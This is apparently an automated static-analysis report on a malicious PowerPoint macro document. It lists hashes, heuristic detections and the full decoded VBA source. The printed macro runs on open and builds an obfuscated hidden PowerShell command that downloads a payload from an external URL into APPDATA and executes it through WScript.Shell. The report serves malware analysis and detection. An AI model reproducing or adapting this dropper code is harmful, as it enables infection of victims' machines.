Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e9e407e0d4525ee5…

MALICIOUS

Office (OOXML)

9.1 KB First seen: 2021-01-11
MD5: 971c1923111ad387f3def0fb9bf32c3c SHA-1: af567df3bccdf61526411f4a6295a0a6f64709e4 SHA-256: e9e407e0d4525ee539a88317ef513586583d5894c647a481c07cdbf74149cb2b
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objqcydwyqnozj = GetObject("new:" & OUTLOOK)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.diamantesviagens.com.br/2021.jPG Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1409 bytes
SHA-256: 4c66e4d4c169932d02edc2a1523d7ff32389b8b1d41ece5639e62b01b3f81d71
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"
Sub Auto_Open()
rQQhFuWy
End Sub



'------------------------------


Public Sub rQQhFuWy()

On Error Resume Next






  

  Dim lll As String
  lll = "c"
  

'a = Left("EHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1)
b = Left("PHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1)
'Right function
c = Left("OHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1)
'Mid function
q = Mid("EHjsjIDMxu LhMLhJOHi YHHhhfBpzt", 1, 11)
'Split function
d = Split("EHjsjIDMxu LhMLhJOHi YHHhhfBpzt", " ")
For Each wrd In d
strg = strg & wrd & ", "
Next


a = "#|Pandorinha|#-windowstyle#|Pandorinha|#hidden#|Pandorinha|#$r='KEX'.replace('K','I');#|Pandorinha|#sal#|Pandorinha|#D#|Pandorinha|#$r;'(&(GCM'+'#|Pandorinha|#*W-O*)'+#|Pandorinha|#'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://www.diamantesviagens.com.br/2021.jPG'',$env:APPDATA+''\\''+''jefinhocudesapo.js'')'|D;#|Pandorinha|#start-process($env:APPDATA+'\\'+'jefinhocudesapo.js')"

a = Replace(a, "#|Pandorinha|#", " ")



bolota = b & c & "wershell" & a
    If LYSC = 0 Then
641:
      qcydwyqnozj (bolota)
    Else
        
    End If



End Sub




Sub qcydwyqnozj(eaoasunlkm As String)
    Const OUTLOOK = _
    "{0006F03A-0000-0000-C000-000000000046}"
    Set objqcydwyqnozj = GetObject("new:" & OUTLOOK)
    objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 18944 bytes
SHA-256: 7c83ad63c6920d96713eec95161e9fd2cd2e1fb0253cd08be1f3d9e3afd942a0

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